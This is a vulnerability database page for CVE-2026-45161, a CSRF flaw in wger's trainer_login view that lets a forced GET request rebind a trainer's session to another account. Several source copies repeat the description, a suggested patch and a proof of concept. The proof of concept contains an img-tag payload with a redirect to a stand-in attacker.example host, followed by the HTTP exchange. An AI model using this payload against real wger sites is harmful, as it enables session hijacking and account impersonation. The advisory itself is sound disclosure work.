CVE-2026-45161
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
CVE-2026-45161 is a medium vulnerability (CVSS 5.4) in Wger-project Wger, published October 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.09%, the 0th percentile. No source names a fixed version.
wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.4
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.
- Record
CVE-2026-45161- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
EUVDEUVD-2026-94331
5.4
wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.
- Record
EUVD-2026-94331- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xf64-4pmc-h8qf
5.4
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
Summary
The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.
Details
File: wger/core/views/user.py, approximately lines 161-210
# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
...
django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
return HttpResponseRedirect(...)
Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.
Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.
Affected endpoint:
GET /en/user/<user_pk>/trainer-login->wger.core.views.user.trainer_login
Suggested patch:
--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
@login_required()
+@require_POST
def trainer_login(request, user_pk):
...
- # Move ?next= handling to POST body - never use GET params for
- # security-sensitive redirects
+ next_url = request.POST.get('next', reverse('core:index'))
+ if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+ next_url = reverse('core:index')
return HttpResponseRedirect(next_url)
Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).
PoC
Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).
Step 1 - Attacker hosts malicious page:
<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
width="1" height="1">
Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:
GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)
Step 3 - Server responds:
HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session] <- session rebound to alice
Step 4 - Confirm impersonation:
GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]
-> 200 OK: {"username":"alice",...}
Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.
Impact
An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without…
- Record
GHSA-xf64-4pmc-h8qf- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
NVD
5.4
wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.
- Record
CVE-2026-45161- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
OSV
5.4
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.
- Record
CVE-2026-45161- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
OSVGHSA-xf64-4pmc-h8qf
5.4
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
Summary
The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.
Details
File: wger/core/views/user.py, approximately lines 161-210
# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
...
django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
return HttpResponseRedirect(...)
Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.
Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.
Affected endpoint:
GET /en/user/<user_pk>/trainer-login->wger.core.views.user.trainer_login
Suggested patch:
--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
@login_required()
+@require_POST
def trainer_login(request, user_pk):
...
- # Move ?next= handling to POST body - never use GET params for
- # security-sensitive redirects
+ next_url = request.POST.get('next', reverse('core:index'))
+ if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+ next_url = reverse('core:index')
return HttpResponseRedirect(next_url)
Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).
PoC
Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).
Step 1 - Attacker hosts malicious page:
<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
width="1" height="1">
Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:
GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)
Step 3 - Server responds:
HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session] <- session rebound to alice
Step 4 - Confirm impersonation:
GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]
-> 200 OK: {"username":"alice",...}
Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.
Impact
An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without…
- Record
GHSA-xf64-4pmc-h8qf- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
OSVPYSEC-2026-4317
5.4
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
Summary
The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.
Details
File: wger/core/views/user.py, approximately lines 161-210
# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
...
django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
return HttpResponseRedirect(...)
Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.
Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.
Affected endpoint:
GET /en/user/<user_pk>/trainer-login->wger.core.views.user.trainer_login
Suggested patch:
--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
@login_required()
+@require_POST
def trainer_login(request, user_pk):
...
- # Move ?next= handling to POST body - never use GET params for
- # security-sensitive redirects
+ next_url = request.POST.get('next', reverse('core:index'))
+ if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+ next_url = reverse('core:index')
return HttpResponseRedirect(next_url)
Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).
PoC
Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).
Step 1 - Attacker hosts malicious page:
<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
width="1" height="1">
Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:
GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)
Step 3 - Server responds:
HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session] <- session rebound to alice
Step 4 - Confirm impersonation:
GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]
-> 200 OK: {"username":"alice",...}
Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.
Impact
An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without…
- Record
PYSEC-2026-4317- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
History
| When | Changed | Sources |
|---|---|---|
| 2026-11-02 | created | CVE List, EUVD, GitHub Advisories, NVD, OSV |
References
github.com/wger-project/wger/security/advisories/GHSA-xf64-4pmc-h8qf
github.com/wger-project/wger/releases/tag/2.6
github.com/advisories/GHSA-xf64-4pmc-h8qf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45161.json
nvd.nist.gov/vuln/detail/CVE-2026-45161
github.com/wger-project/wger
pypi.org/project/wger
Left out here: the rest of 3 source descriptions. The JSON record has them.